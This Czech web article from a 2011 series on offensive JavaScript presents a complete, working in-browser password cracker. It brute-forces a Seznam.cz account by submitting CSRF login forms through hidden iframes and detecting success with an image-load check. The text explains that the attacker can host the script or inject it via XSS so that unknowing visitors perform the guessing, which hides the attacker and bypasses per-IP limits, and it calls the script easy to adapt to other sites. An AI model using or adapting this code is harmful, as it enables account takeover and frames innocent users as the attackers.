Zpět na seznam článků     Číst komentáře (4)     Verze pro tisk

Útočný JavaScript (4)

Autor: .cCuMiNn.   
6.2.2011

Dnes využijeme skutečností uvedených v minulém dílu k vytvoření anonymního password crackeru.


Když už totiž dokážeme JavaScriptem testovat, zda je uživatel přihlášen k určité webové aplikaci, nic nám často nebrání ani v tom, abychom sami zkoušeli uživatele do této aplikace přihlašovat s různými hesly a následně testovali, zda se přihlášení zdařilo, nebo ne.

Je pochopitelné, že rychlost takového crackeru se nebude ani zdaleka blížit jiným dostupným crackerům. Jeho výhodou ovšem je anonymita, kterou poskytuje. Útočníkovi stačí, aby skript vložil na svých webových stránkách, nebo jej propašoval skrz XSS do jiných webů a o samotné crackování hesla se již postarají sami návštěvníci těchto stránek. Crackovaná aplikace ukládá pokusy o uhádnutí hesla do logů, kde je možné je později dohledat. Tyto záznamy ovšem nebudou směřovat k útočníkovi, ale k nic netušícím uživatelům, kterým se uvedený skript spustil v browseru. Pokud by navíc aplikace umožňovala jen omezený počet pokusů o přihlášení z jedné IP adresy, dala by se tato ochrana podobným crackovacím skriptem obejít.

Podmínkou pro tento typ útoku je možnost přihlašovat uživatele k uživatelskému účtu prostřednictvím CSRF požadavku.

V praktickém příkladě si dnes představíme password cracker pro uživatelské účty na Seznam.cz. Skript se snaží uhádnout heslo k uživatelskému účtu test79@seznam.cz na základě krátkého slovníku, který si s sebou skript nese v poli pass[]. Správné heslo je pass123. Doufám, že jej nějaký (píp) nezmění :)

Test je možné spustit jen jednou, protože vás skript po nalezení správného hesla pod tento účet přihlásí. Pokud byste jej chtěli zkusit podruhé, musíte se nejprve od účtu odhlásit. Skript je vytvořen a testován pro Firefox. Neměl by ale být problém jej přizpůsobit i jiným prohlížečům.

Seznam.cz obsahuje ochranu, která po určitém počtu pokusů o přihlášení zobrazuje hlášku o překročení tohoto limitu a zhruba na 1-2 vteřiny pak zablokuje další přihlášení. Při rychlosti tohoto crackeru, to pro nás ovšem nehraje roli. Na druhou stranu tato drobná prodleva úspěšně zabrání tomuto crackeru, pokud by sloužil k distribuovanému útoku na uživatelský účet. Seznam.cz jsem ale použil pouze pro demonstraci. Skript je možné snadno přispůsobit jiným aplikacím a slouží tak spíše pro inspiraci.


  1. <html>
  2.   <head>
  3.     <meta http-equiv="Content-Type" content="text/html; charset=windows-1250">
  4.     <meta http-equiv="Content-Language" content="cs">
  5.     <link rel="StyleSheet" href="http://www.soom.cz/base.css" type="text/css">
  6.   </head>
  7.   <body>
  8.     <script>
  9.     function try_to_login (name, password) {
  10.       var iframe = document.getElementById('ram');
  11.       var obsah_iframe = (iframe.contentWindow?iframe.contentWindow.document:
  12.         iframe.contentDocument);
  13.       obsah_iframe.write("<html><body>"+
  14.         "<form id='formId' name='form' method='post' action='http://login.szn.cz/loginProcess'>" +
  15.         "  <input type='text' name='username' value='" + name + "'>" +
  16.         "  <input type='text' name='domain'   value='" + domena + "'>" +
  17.         "  <input type='text' name='password' value='" + password + "'>" +
  18.         "</form></body></html>");
  19.       obsah_iframe.form.submit()
  20.     }      
  21.  
  22.     function check_login(){
  23.       if (onload_image==1) {
  24.         image = document.createElement("img");
  25.         image.setAttribute("src",
  26.             "http://email.seznam.cz/image?2d955c04600e5f82686d5d3bdb9902b7");
  27.         image.setAttribute("onload", "loged_in()");
  28.         image.setAttribute("onerror", "not_loged_in()");
  29.         image.setAttribute("style", "display:none;");
  30.         document.body.appendChild(image);
  31.         onload_image = 2;
  32.       }
  33.     }
  34.    
  35.     function loged_in(){
  36.       alert("Heslo nalezeno: " + pass[i]);
  37.       clearInterval(interval);
  38.     }
  39.    
  40.     function not_loged_in(){
  41.       document.body.removeChild(ram);
  42.       document.body.removeChild(image);
  43.       onload_image = 0;
  44.     }
  45.    
  46.     function attack() {
  47.       if (i == pass.length) {
  48.         clearInterval(interval);
  49.         return;
  50.       }
  51.       if (!onload_image) {
  52.         onload_image = 1;
  53.         i++;
  54.         ram = document.createElement("iframe");
  55.         ram.setAttribute("id", "ram");
  56.         ram.setAttribute("style", "display:none;");
  57.         ram.setAttribute("onload", "setTimeout('check_login()',2000)");
  58.         document.body.appendChild(ram);
  59.         var item = document.createElement('li');
  60.         var text = document.createElement('p');
  61.         text.innerHTML = pass[i];
  62.         item.appendChild(text);
  63.         document.getElementById('tested').appendChild(item);
  64.        
  65.         try_to_login(name, pass[i]);
  66.       }
  67.     }
  68.    
  69.     function start() {
  70.       name = "test79"; domena="seznam.cz";
  71.       pass = ["heslo", "qwert", "12345", "pass123", "password", "abcd"];
  72.       i = -1; onload_image = 0;
  73.       interval = setInterval("attack()", 100);
  74.     }
  75.     </script>
  76.  
  77.     <h3>Test hesla (test79@seznam.cz)</h3>
  78.     <ul id="tested"></ul>
  79.     <br><hr>
  80.     <input type="button" onClick="start()" value="Start">
  81.   </body>
  82. </html>

Činnost skriptu demonstruje následující rám:





Líbil se Vám článek?
Budeme potěšeni, pokud vás zaujme také reklamní nabídka

Social Bookmarking

     





Hodnocení/Hlasovalo: 2.2/5

1  2  3  4  5    
(známkování jako ve škole)